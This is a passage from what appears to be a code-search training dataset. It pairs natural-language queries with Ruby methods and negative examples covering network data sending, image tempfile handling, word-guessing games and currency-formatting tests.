"def send_data_packet( data )\n # overhead is ( byte.length + id.length + strlen.length ) = 9\n data, data_to_return = split_data_for_packet( data.to_s, 9 )\n @window_size -= data.length\n\n msg = @buffers.writer\n msg.write_byte CHANNEL_DATA\n msg.write_long @remote_id\n msg.write_string data\n @connection.send_message msg\n\n data_to_return\n end",
"def send_data(data = \"\", end_stream: true)\n max = @connection.remote_settings[:max_frame_size]\n if data.is_a?(IO)\n until data.eof?\n fragment = data.readpartial(max)\n send Frame::Data.new(id, fragment, end_stream: end_stream && data.eof?)\n end\n else\n send Frame::Data.new(id, data, end_stream: end_stream)\n end\n @state = :half_closed_local if end_stream\n end",
"def send_data(input, *proc_data)\n\n #if input is an integer, then use it as an id, otherwise it is an ip address\n if input.is_a? Integer then\n id = input\n data = proc_data\n #acquire a lock on the connects list\n connect_index = find_index_by_id(id, @connects)\n #release the lock on the connects list\n\n #create a new connection using the first input as an ip address and the second\n # input as a port number. The rest is still data to send\n else\n #acquire locks on the to_id and connection lists\n connect_index, id = create_connect(input, proc_data.delete_at(0))\n #release locks on the to_id and connection lists\n end\n \n #send the data and test if the server has been killed. If the server is dead,\n # then don't send anything\n #if this server has been \"killed\", then don't send anything\n return nil if @@kill\n\n #now just send the data with a terminating character\n #acquire a lock on the connects list\n @connects[connect_index].socket.puts proc_data\n @connects[connect_index].socket.puts \"|::|\"\n #release lock on the connects list\n\n #and finally return the connection id\n return id\n end",
"def send_to_client(data)\n send_data data\n end",
"def send_data(data)\n #jsonified_data = data.to_json\n log('sending', data)\n super(data)\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
this method is lifted from image_processing gem copies the original image to a tempfile because we don't want to mess with the original
|
def _copy_to_tempfile(file)
args = [File.basename(file.path, ".*"), File.extname(file.path)] if file.respond_to?(:path)
tempfile = Tempfile.new(args || "image", binmode: true)
IO.copy_stream(file, tempfile.path)
file.rewind
tempfile
end
|
[
"def _copy_to_tempfile(file)\n args = [File.basename(file.path, \".*\"), File.extname(file.path)] if file.respond_to?(:path)\n tempfile = Tempfile.new(args || \"image\", binmode: true)\n IO.copy_stream(file, tempfile.path)\n file.rewind\n tempfile\n end",
"def adjust_image tempfile\n image = MiniMagick::Image.read tempfile\n\n if options[:h] && options[:w]\n image.crop \"#{options[:w]}x#{options[:h]}+#{options[:x]}+#{options[:y]}\"\n image.write tempfile\n end\n\n image\n end",
"def save_to_temp_file\n result = true\n unless upload_temp_file\n\n # Image is supplied in a input stream. This can happen in a variety of\n # cases, including during testing, and also when the image comes in as\n # the body of a request.\n if upload_handle.is_a?(IO) || upload_handle.is_a?(StringIO) ||\n defined?(Unicorn) && upload_handle.is_a?(Unicorn::TeeInput)\n begin\n # Using an instance variable so the temp file lasts as long as\n # the reference to the path.\n @file = Tempfile.new(\"image_upload\")\n File.open(@file, \"wb\") do |write_handle|\n loop do\n str = upload_handle.read(16_384)\n break if str.to_s.empty?\n\n write_handle.write(str)\n end\n end\n # This seems to have problems with character encoding(?)\n # FileUtils.copy_stream(upload_handle, @file)\n self.upload_temp_file = @file.path\n self.upload_length = @file.size\n result = true\n rescue StandardError => e\n errors.add(:image,\n \"Unexpected error while copying attached file \" \\\n \"to temp file. Error class #{e.class}: #{e}\")\n result = false\n end\n\n # It should never reach here.\n else\n errors.add(:image, \"Unexpected error: did not receive a valid upload \" \\\n \"stream from the webserver (we got an instance of \" \\\n \"#{upload_handle.class.name}). Please try again.\")\n result = false\n end\n end\n result\n end",
"def recreate_image\n self.orig_file1_id = nil\n self.orig_file2_id = nil\n self.save\n end",
"def original\n render_raw_image\n end",
"def write_image!\n if image_layers_dirty?\n image = Tempfile.open(['outfit_image', '.png'])\n begin\n create_image! image\n self.image_layers_hash = generate_image_layers_hash\n self.image = image\n self.image_enqueued = false\n save!\n ensure\n image.close!\n end\n end\n \n self.image\n end",
"def dup_src\n ImageServicesFactory.make_image(from_java_bytes)\n end",
"def reprocess_image\n image.reprocess!\n end",
"def prepare_original_file\n if(@file_data_to_write.is_a?(DataPath))\n [@file_data_to_write, false]\n else\n temp_file = File.join(Dir.tmpdir, \"original_#{random_tempfile_filename}\")\n # write the original file\n File.open(temp_file, 'w') do |original_file|\n if(@file_data_to_write.respond_to?(:read))\n original_file << @file_data_to_write.read\n else\n original_file << @file_data_to_write\n end\n end\n \n [temp_file, true]\n end\n end",
"def create_image_tempfiles()\n # {{{\n open_image()\n id = @media_asset.media_asset_id\n @img.write(Aurita.project_path + 'public/assets/tmp/asset_' << id + '_org.jpg')\n @img.write(Aurita.project_path + 'public/assets/tmp/asset_' << id + '_work.jpg')\n @img.resize_to_fit!(@preview_width, @preview_height)\n @img.write(Aurita.project_path + 'public/assets/tmp/asset_' << id + '_show.jpg')\n end",
"def with_tmp_img(img, *args)\n r = yield(img, *args)\n destroy_image(img)\n r\n end",
"def change_image(&block)\n yield image\n @tempfile = nil\n @uri = nil # Once transformed, all external sources are invalid.\n @blob = nil # Once transformed, we need to reset the data. Now the getter can lazily load the blob.\n @persistent = false\n self\n end",
"def writable_image_copy(another_image)\n\n java_import Java::edu.stanford.cfuller.imageanalysistools.image.ImageFactory\n\n ImageFactory.createWritable(another_image)\n\n end",
"def reprocess!\n new_original = Tempfile.new(\"paperclip-reprocess-#{instance.id}-\")\n new_original.binmode\n old_original = to_file(:original)\n new_original.write( old_original.read )\n new_original.rewind\n @queued_for_write = { :original => new_original }\n post_process\n old_original.close if old_original.respond_to?(:close)\n save\n end",
"def clipboard_image\n img_filename = create_filename('png')\n img_file = File.join(tmp_folder, img_filename)\n\n # try to paste image\n %x[pngpaste #{img_file} > /dev/null 2>&1]\n\n # if something went wrong, return nil\n return nil if $?.exitstatus.to_i != 0\n\n # success, lets return file data\n data = File.open(img_file, 'rb') do |f|\n f.read\n end\n\n File.delete(img_file)\n\n Result.new(img_filename, data)\n end",
"def image_shallow_copy(another_image)\n\n java_import Java::edu.stanford.cfuller.imageanalysistools.image.ImageFactory\n\n ImageFactory.createShallow(another_image)\n\n end",
"def optimize_image_data(original_data)\n format = ImageMeta.format_for_data(original_data)\n return unless format\n Path.temp_file %W[image_optim .#{format}] do |temp|\n temp.binmode\n temp.write(original_data)\n temp.close\n\n if (result = optimize_image(temp.path))\n result.binread\n end\n end\n end",
"def save_image(id, uploaded_io)\n filepath = Rails.root.join('public', 'images', id.to_s + '_original.jpg')\n File.open(filepath, 'wb') do |file| \n file.write(uploaded_io.read) \n file.close\n end \n image = Magick::Image.read(filepath).first\n ar = image.x_resolution.to_i / (image.y_resolution.to_i * 1.0)\n height = ar * 400\n image.change_geometry!(\"#{height}x400\") { |cols, rows| \n image.thumbnail! cols, rows \n }\n image.write(filepath.sub(/original/, \"thumbnail\"))\n end",
"def optimize_image_data(original_data)\n format = ImageMeta.format_for_data(original_data)\n return unless format\n\n Path.temp_file %W[image_optim .#{format}] do |temp|\n temp.binmode\n temp.write(original_data)\n temp.close\n\n if (result = optimize_image(temp.path))\n result.binread\n end\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
playing one round of game till the word is not found in the dictionary
|
def play_round
until dictionary.include?(fragment) && fragment != ""
puts "Current player : #{current_player.name}"
add_letter(current_player)
print "Current fragment of a word: "
puts "'#{fragment}'".green
next_player!
end
if losses[previous_player] + 1 == "ghost".length
puts "#{previous_player.name} it's a ghost and lost this game!".red.bold
else
puts "#{previous_player.name} lost this round!".red.bold
end
losses[previous_player] += 1
@fragment = ""
end
|
[
"def check_player_words(player_guess_word)\n word.chomp.chars.each_with_index{\n |item, index|\n if item == player_guess_word.chomp.chars[index].to_s # exactly equal and in the same postion\n result = \"Exact\"\n elsif word.chomp.include?(player_guess_word.chars[index].to_s) # just includes the letter\n result = \"Near\"\n else # other condition that either not exact nor includes is.\n result = \"Miss\"\n end\n sleep(SLEEP_TIME) # just stop for a time make a good user experience\n puts \"Letter: #{player_guess_word.chars[index]} : #{result}\"\n }\n end",
"def play(word)\n # removes number of played tiles and re-draws from tile bag\n length = word.length\n @tiles.pop(length)\n # pass new word to tiles_method to remove those letters from @tiles\n draw(length)\n # returns false if already won\n if won?\n return false\n else\n @played_words << word\n Scrabble::Scoring.score(word)\n end\n end",
"def start_game()\n $game_over = false # set flag to false when starting a new game\n $game_won = false # set flag to false when starting a new game\n $bucket = [] # empty array when starting a new game\n $build_word = [] # empty array when starting a new game\n $wrong_count = [] # empty array when starting a new game\n #$word = $words.sample # select a random word from the words array\n $word.length.times { $build_word.push(\"_\") } # push placeholder underscores to $build_word array\nend",
"def new_game\n dictonary = File.new('dictonary.txt', 'r')\n cleaned_dictonary = dictonary.readlines(chomp: true).select { |word| word.length >= 5 && word.length <= 12 }\n dictonary.close\n word = cleaned_dictonary.sample\n set_up_game(word, '_' * word.length)\n end",
"def begin_match\n\t\tbegin\n\t\t\t#to avoid strange scope behavior with the c variable (ruby wont recognize it sometimes)\n\t\t\tc = 'a'\n\t\t\twhile (true)\n\t\t\t\t# Player's turn\n\t\t\t\tlastC = c unless @programStep == 0\n\t\t\t\tc = get_character\n\t\t\t\tlastC = c if @programStep == 0 # set lastC to something first time around\n\t\t\t\t@wordHash = create_word_hash(@wordHash[lastC], @programStep) unless @programStep.eql? 0\n\t\t\t\traise GameLost if @wordHash[c].length < 1\n\t\t\t\t@word = status_update(@word, c)\n\t\t\t\traise GameLost if @wordHash[c].include? @word\n\t\t\t\t@programStep += 1\n\t\t\t\t# Computer's turn\n\t\t\t\tlastC = c\n\t\t\t\tc = choose_computers_letter(lastC)\n\t\t\t\tputs \"Computer >> #{c}\"\n\t\t\t\t@wordHash = create_word_hash(@wordHash[lastC], @programStep)\n\t\t\t\traise GameWon if @wordHash[c].length < 1\n\t\t\t\t@word = status_update(@word, c)\n\t\t\t\traise GameWon if @wordHash[c].include? @word\n\t\t\t\t@programStep += 1\n\t\t\tend\n\t\trescue GameWon, GameLost => e\n\t\t\tif e.continue?\n\t\t\t\tinitialize_game\n\t\t\t\tbegin_match\n\t\t\tend\n\t\tend\n\tend",
"def test_word(character)\r\n #Once the character is passed through, delete it as we dont want to use it again\r\n @alpha.delete(character)\r\n #If the word includes this charater, store it in variable, correct\r\n correct = word.include?(character)\r\n #Iterate through each value of word as an array\r\n #Item will equal the letter and index will equal the index (per using each_with-index)\r\n word.chars.each_with_index do |item, index| # item = \"p\", index = 0\r\n #The index from word that matches within placeholder, should equal the random \r\n #character if the character is equal to the item from word\r\n @placeholder[index] = character if character == item \r\n #End method\r\n end\r\n #Return correct\r\n correct\r\n #End method\r\n end",
"def play(word)\n word = word.upcase\n score = Scrabble::Scoring.score(word)\n plays << word\n if won? == true # Check if the game should already be over\n return false\n end\n puts plays\n return score\n end",
"def find_words(letter, word, dict, results)\n letter.used = true # open block by making letter used\n \n word = word + letter.letter # make new word w/ letter\n\n # march down dictionary trie; note: because one die contains a\n # side w/ \"qu\", we use generalize to allow a die to contain any\n # number of letters and march through *all* of them using a loop\n 0.upto(letter.letter.size - 1) do |index|\n dict = dict.subtrie(letter.letter[index, 1])\n end\n\n # if there are any possible words once we get here...\n if dict.any?\n # if this specific word so far is in the dictionary\n # add it to the results\n results << word if word.size >= 3 && dict.include?(word)\n\n # try to extend with all unused neighboring letters\n letter.unused_neighbors.each do |l|\n find_words(l, word, dict, results)\n end\n end\n \n letter.used = false # close block by making letter available\n end",
"def run\n until @tileRack.tiles.length == 0\n \n puts \"The letters in the tile rack are: \" + @tileRack.hand + \"\\n\\n\";\n print \"Please guess a word and enter it here: \"\n input = gets.chomp\n puts \"\\n\"\n\n if(input.eql? \":quit\")\n puts \"Thanks for playing, total score: \" + @score.to_s + \"\\n\\n\";\n break\n elsif(input.strip.empty? or !Spellchecker::check(input)[0][:correct])\n puts \"Not a valid word\"\n elsif (!@tileRack.has_tiles_for?(input))\n puts \"Not enought tiles\"\n else\n @word = @tileRack.remove_word(input)\n puts \"You made \" + @word.hand + \" for \" + @word.score.to_s + \" points\"\n @score = @score + @word.score\n @tileRack.number_of_tiles_needed.times{@tileRack.append(@tileBag.draw_tile) if !@tileBag.empty?}\n end\n puts \"The current total score is \" + @score.to_s + \"\\n\\n\"\n end\n \n if(@tileRack.tiles.length == 0)\n puts \"Thanks for playing, total score: \" + @score.to_s + \"\\n\\n\";\n end\n\n end",
"def displayresults (word, guesses)\n\t0.upto (word.size) do |n|\n\t\n\t\tif guesses.include?(word[n,1]) then\n\t\t\t@result[n]= word[n,1]\n\t\t\n\t\tif @result[n] != \"\"\n\t\t\tthen @result[n]= word[n,1]\n\t\telse @result[n]=\"_\"\n\t\tend\t\n\tend\n \nend\nend",
"def new_game()\n\t\t@remainingguesses = 6\n\t\t@lettersguessed = []\n\t\t@currentword = @words.pick_word\n\t\tplay_game\n\tend",
"def play_word(word, loc_let, loc_num, direction)\n letters = []\n word = word.upcase.split(\"\")\n i = 0\n loc_down = BOARD_HASH[loc_let]\n if direction == \"across\"\n word.length.times do\n letters << play_letter(word[i], loc_down, loc_num)\n loc_num += 1\n i += 1\n end\n\n elsif direction == \"down\"\n\n word.length.times do\n letters << play_letter(word[i], loc_down, loc_num)\n loc_down += 1\n i += 1\n end\n end\n\n if letters.include?(false)\n return false\n else\n letters.delete(true)\n return letters\n end\n end",
"def run\n if @load_save == true\n puts 'Would you like to play your last saved game? (Yes/No)'\n gets.chomp.downcase == 'yes' ? load_game : (puts \"\\n#{@computer} is coming up with your word.\\n\")\n chosen_word\n end\n loop do \n start_game\n checker\n win_lose\n end\nend",
"def logic\n\n word = randomword.downcase\n word_clue = clue(word)\n puts \"#{word}\"\n guess_count = guesses(word) \n guess_count_array = []\n word_array = []\n\n word.each_char do |char|\n\t word_array.push(char)\n end\n #puts \"Testando o word_array\"\n #puts \"#{word_array}\"\n\n\n puts \"Welcome to the new hangman game, good luck!\"\n puts \"What is your name?\"\n name = gets.chomp\n # puts \"#{word}\"\n puts \"This is the word #{word_clue} \\nyou have #{guess_count} chances to strike the correct answer!\"\n puts \"Let's start the game #{name}\"\n puts\n i = 1\n while i < guess_count\n \n puts \"\\nThis is your #{i}° shoot\"\n puts \"Choose a letter\"\n guess = gets.chomp\n puts \"This is your guess: #{guess}\"\n \n \n if word.include?(guess)\n puts \"\"\n guess_count_array = word_array.each_index.select {|i| word_array[i] == guess}\n for value in guess_count_array\n word_clue[value] = guess\n end\n else\n puts \"wrong letter\"\n end\n check_win(word_clue, word)\n puts word_clue\n i += 1\n end\n replay_game()\t\t\n\t\t\n\tend",
"def find_valid_words(grid, dict)\n # iterate through characters in grid\n grid.each_with_index do |row, row_index|\n row.each_with_index do |char, index|\n # recurse over all possibilities starting at char\n running_string = char\n adjacent_characters = adjacent_characters_for(char, row_index, index, grid)\n\n adjacent_characters.each do |adjacent_char|\n running_string += adjacent_char\n # add adjacent character to the running string\n # check for a match in dict\n # remove char and current adjacent char from a list of available characters\n #\n\n #\n end\n end\n end\n # for each character, test each possible direction\n # remove character from consideration after it's been used\n # keep a running string for each iteration, check if it matches\n # a word in dictionary every time it's appended to\nend",
"def start_guess\r\n\t\tuntil @is_over == true\r\n\t#player enters 1 letter string\r\n\r\n\t\t\tputs \"guess a letter you've already guessed #{@used}. #{@tries-@guess_count} attempts remain\"\r\n\t\t\tputs @blanks.join\r\n\t\t\tletter = gets.chomp\r\n\t#if letter is not in guessed box take a turn away\r\n\t\t\tif @used.include?(letter) == false\r\n\t\t\t\t@guess_count += 1\r\n\t\t\t\tif @tries == @guess_count \r\n\t\t\t\t\t@is_over = true\r\n\t\t\t\tend\r\n\t\t#if letter is in the world replace the blank\r\n\t\t\t\tif @word.include?(letter)\r\n\t\t\t\t\twordindex = @word.index(letter)\r\n\t\t\t\t\t@blanks[wordindex] = letter\r\n\t\t\t\t\tif @blanks.include?(\"_ \") == false\r\n\t\t\t\t\t\t@is_over = true\r\n\t\t\t\t\tend\r\n\t\t#if letter is not in the world add to guessed box\r\n\t\t\t\telse\r\n\t\t\t\t\t@used << letter\r\n\t\t\t\tend\r\n\t#if letter is in guessed box don't consume a turn\r\n\t\t\telse\r\n\t\t\t\tputs \"you already tried that letter\"\r\n\t\t\tend\r\n\t\tend\r\n\r\n\t#end:\r\n\t#if word is guessed correctly print congrants\r\n\t\tif @blanks.include?(\"_ \")\r\n\t\t\tputs \"haha try harder next time\"\r\n\t#if word is guessed wrong print taunt\r\n\t\telse\r\n\t\t\tputs \"well done! you guessed the word\"\r\n\t\tend\r\n\tend",
"def generate_word(number_of_players)\n # Checks the number of users. If only ony user a message is displayed\n # advising the word is generated and the word to be guessed is updated.\n if number_of_players == 1\n system 'clear'\n Screens.typing \"Hello Gamer. Let's play hangman.\\n\\nA word has been randomly generated for you to guess.\"\n puts Images.menu_cat.colorize(:light_blue)\n @word = RandomWordGenerator.word.upcase\n sleep 2\n else\n # Displays the instruction screen for multi-player mode using the\n # multi_mode method.\n multi_mode\n # Enters loop to get the user to input a word to be guessed.\n begin\n system 'clear'\n puts \"Hello Player 1!\\nPlease enter a word:\"\n @word = STDIN.gets.upcase.strip\n # If the word inputted above does not include numbers or special characters\n # then the word is updated and displayed back to the user.\n puts \"You have selected '#{word}'.\"\n puts Images.menu_cat.colorize(:cyan)\n sleep 2\n # If the input contains any characters other than A-Z or a-z. Raises an\n # argument error if user input contains characters that are not allowed.\n if !@word.scan(/[^a-zA-Z]/).empty? || @word.empty?\n raise ArgumentError, 'Word has special characters or numbers'\n end\n # Displays a message advising entry is invalid and prompts the user to retry.\n rescue ArgumentError\n puts \"No funny business buddy! Let's avoid special characters and numbers please.\\n\"\n retry\n end\n end\n end",
"def play\n if (test)\n # next four lines just to see if there was no chain between the words\n test_list = build_chain\n test_list.delete(@word1)\n test_list.delete(@word2)\n if (distance(@word1, @word2) > 1 and test_list.empty?)\n puts \"Error: No chain between words\"\n else\n puts build_chain\n end\n end\n end",
"def play(word_to_find)\n id = get_id(words, word_to_find)\n played << words[id]\n words.delete_at id\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
End of test method test_Currency_001_CommaDelimit =========================================================================== Testcase method: test_Currency_002_Format_To_Amount Description: Tests WatirWorks method: format_to_currency(...) Attempts to convert strings to amounts ===========================================================================
|
def test_Currency_002_Format_To_Amount
puts2("")
puts2("#######################")
puts2("Testcase: test_Currency_002_Format_To_Amount")
puts2("#######################")
begin # convert_ToCurrency
############################
sThisTaskName = "1000 to $1,000.00"
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "1000".format_to_currency()
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "1000 to �1.000.00"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "1000".format_to_currency("�", ".")
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = " 1000 to �1.000.00"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = " 1000 ".format_to_currency("�", ".")
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "1000.5 to $1,000.50"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "1000.5".format_to_currency()
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "1.1 to $1.10"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "1.1".format_to_currency()
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "1 to $1.00"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "1".format_to_currency()
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = ".01 to $0.01"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = ".01".format_to_currency()
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = ".1 to $0.10"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = ".1".format_to_currency()
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "1. to $1.00"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "1.".format_to_currency()
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "1000000.99 to 1,000,000.99"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "1000000.99".format_to_currency("", ",")
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "1000000.99 to �1.000.000.99"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "1000000.99".format_to_currency("�", ".")
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "1000000.999 to �1:000:000.99"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "1000000.999".format_to_currency("�", ":")
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
rescue => e
puts2("*** ERROR and Backtrace: " + e.message + "\n" + e.backtrace.join("\n"),"ERROR")
# Raise the error
raise("*** TESTCASE - test_Currency_002_Format_To_Amount")
ensure
end # convert_StringToCurrency
end
|
[
"def test_Currency_003_Format_From_Amount\n\n\n puts2(\"\")\n puts2(\"#######################\")\n puts2(\"Testcase: test_Currency_003_Format_From_Amount\")\n puts2(\"#######################\")\n\n begin # convert_StringFromCurrency\n\n\n ############################\n sThisTaskName = \"$1,000 to 1000\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"$1,000\".format_from_currency(\"$\", \",\", true)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"$1,000,000.00 to 1000000.00\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"$1,000,000.00\".format_from_currency(\"$\", \",\", false)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"�1.000.50 to 1000\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"�1.000.50\".format_from_currency(\"�\", \".\", true)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"$1.000.5 to 1000.50\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"$1.000.5\".format_from_currency(\"$\", \",\", false)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"$1,000,000.50 to $1000000\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"$1,000,000.50\".format_from_currency( \"\", \",\",true)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"�1,000,000.5 to 1000000.50\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"�1,000,000.5\".format_from_currency(\"�\", \",\", false)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"0.5 to 0.50\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"0.5\".format_from_currency(\"\", \",\", false)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \".5 to 0.50\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \".5\".format_from_currency(\"\", \",\", false)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"$1. to 1.00\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"$1.\".format_from_currency(\"$\", \",\", false)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"$. to 0.00\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"$.\".format_from_currency(\"$\", \",\", false)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n\n\n rescue => e\n\n puts2(\"Error and Backtrace: \" + e.message + \"\\n\" + e.backtrace.join(\"\\n\"),\"error\")\n\n # Raise the error\n raise(\"*** TESTCASE - test_Currency_003_Format_From_Amount\")\n\n ensure\n\n end # convert_StringFromCurrency\n\n end",
"def test_number_to_currency\n\t\tassert ActionView::Helpers::NumberHelper\n\t\tobj = ActionView::Base.new\n\t\tassert_respond_to obj, 'number_to_currency'\n\t\tassert_respond_to obj, 'orig_number_to_currency'\n\t\t\n\t\tassert_equal \"$1,234,567,890.51\", obj.number_to_currency(1234567890.506), \"NOTE: This currency test should fail if locale has different currency format\"\n\tend",
"def fix_currency(amount)\n return amount.gsub(',', '').gsub('\"', '')\nend",
"def test_currency_conversion\n MGDMoney.conversion_rates(\"USD\", { \"EUR\" => 0.8 }) # configure the conversion rates\n \n twenty_dollars = MGDMoney.new(20, \"USD\") # initialize the $20 MGDMoney object\n twenty_dollars_in_eur = twenty_dollars.convert_to(\"EUR\") # convert to EUR\n twenty_dollars_in_eur_in_usd = twenty_dollars_in_eur.convert_to(\"USD\") # convert EUR back to USD\n \n assert_equal(twenty_dollars, twenty_dollars_in_eur_in_usd) # compare to original $20\n end",
"def split_amount_display\n Currency.format(split_amount.abs, currency, :hide_unit => true).sub(/[.,]00$/,'')\n end",
"def parse(input, currency, strict: false, decimal_separator: decimal_separator_resolver&.call)\n raise ArgumentError, \"decimal separator cannot be nil\" unless decimal_separator\n\n currency = Money::Helpers.value_to_currency(currency)\n return unless currency\n\n normalized_input = input\n .tr('-0-9.,、、', '-0-9.,,,')\n .gsub(/[^\\d\\-#{Regexp.escape(decimal_separator)}]/, '')\n .gsub(decimal_separator, '.')\n amount = BigDecimal(normalized_input, exception: false)\n if amount\n Money.new(amount, currency)\n elsif strict\n raise ArgumentError, \"unable to parse input=\\\"#{input}\\\" currency=\\\"#{currency}\\\"\"\n end\n end",
"def treat_currency_from_file(string)\n string = sprintf('%.2f', string)\n string.delete! '.'\n end",
"def split_amount_display\n currency = taggable.respond_to?(:currency) ? taggable.currency : nil\n Currency.format(split_amount.abs, currency, :hide_unit => true).sub(/[.,]00$/,'')\n end",
"def parse_amount(amount_raw)\n matches = TdTip::AMOUNT_CURRENCY_REGEXP.match amount_raw\n return unless matches\n @amount = matches.captures[0].sub(',', '.').to_f\n @currency = matches.captures[1].to_s\n end",
"def test_converter_takes_3_currencies\n assert_equal({'USD' => 1.00, 'EUR' => 0.74, 'JPY' => 120.0},\n Currency_Converter.new({'USD' => 1.00, 'EUR' => 0.74, 'JPY' => 120.0}).currency_list)\n end",
"def normalize_amount(amount)\n amount.gsub(',', '.') if amount\n end",
"def test_convert_method\n convert_test = Currency_Converter.new({'USD' => 1.00, 'EUR' => 0.74}).convert( Currency.new('USD', 10), 'EUR' )\n assert_equal(Currency.new('EUR', 7.40), convert_test)\n end",
"def localize(amount, options = {})\n return unless amount\n\n # options.symbolize_keys!\n\n defaults = I18n.translate('number.format'.to_sym, locale: options[:locale], default: {})\n defaultt = I18n.translate('number.currency.format'.to_sym, locale: options[:locale], default: {})\n defaultt[:negative_format] ||= ('-' + defaultt[:format]) if defaultt[:format]\n formatcy = I18n.translate(\"number.currency.formats.#{code}\".to_sym, locale: options[:locale], default: {})\n formatcy[:negative_format] ||= '-' + formatcy[:format] if formatcy[:format]\n\n formatter = {}\n formatter[:separator] = formatcy[:separator] || defaultt[:separator] || defaults[:separator] || ','\n formatter[:delimiter] = formatcy[:delimiter] || defaultt[:delimiter] || defaults[:delimiter] || ''\n formatter[:precision] = formatcy[:precision] || precision || defaultt[:precision] || 3\n format = formatcy[:format] || defaultt[:format] || '%n-%u' # defaults[:format] ||\n negative_format = formatcy[:negative_format] || defaultt[:negative_format] || defaults[:negative_format] || '-' + format\n unit = formatcy[:unit] || self.unit || code\n\n if amount.to_f < 0\n format = negative_format # options.delete(:negative_format)\n amount = amount.respond_to?('abs') ? amount.abs : amount.sub(/^-/, '')\n end\n\n value = amount.to_s\n integers, decimals = value.split(/\\./)\n value = integers.gsub(/^0+[1-9]+/, '').gsub(/(\\d)(?=(\\d\\d\\d)+(?!\\d))/, \"\\\\1#{formatter[:delimiter]}\")\n unless decimals.to_s =~ /^\\s*$/\n value << formatter[:separator]\n value << decimals.gsub(/0+$/, '').ljust(formatter[:precision], '0').scan(/.{1,3}/).join(formatter[:delimiter])\n end\n format.gsub(/%n/, value).gsub(/%u/, unit).gsub(/%s/, \"\\u{00A0}\")\n end",
"def gsubber(money)\n money.split(/^[\\D|$]{2,3}/).pop\n money.gsub!(/^[\\D|$]{2,3}/,'')\n money.gsub!(/k$/i,'000')\n money.gsub!(/,/,'')\n money.gsub!(/\\.0+/,'')\n end",
"def test_subtraction_multiple_currencies\n MGDMoney.conversion_rates(\"USD\", { \"EUR\" => 0.75 })\n twenty_dollars = MGDMoney.new(20, \"USD\")\n ten_eur = MGDMoney.new(10, \"EUR\")\n difference_in_usd = MGDMoney.new(6.67, \"USD\")\n \n assert_equal(difference_in_usd, twenty_dollars - ten_eur)\n end",
"def corrected_currency(line)\n if line.return_insurance?\n line.order.currency\n else\n line.currency\n end\n rescue\n \"USD\"\n end",
"def number_to_currency(number)\n number_to_currency(number, :unit => \"R$ \", :separator => \",\", :delimiter => \".\")\n end",
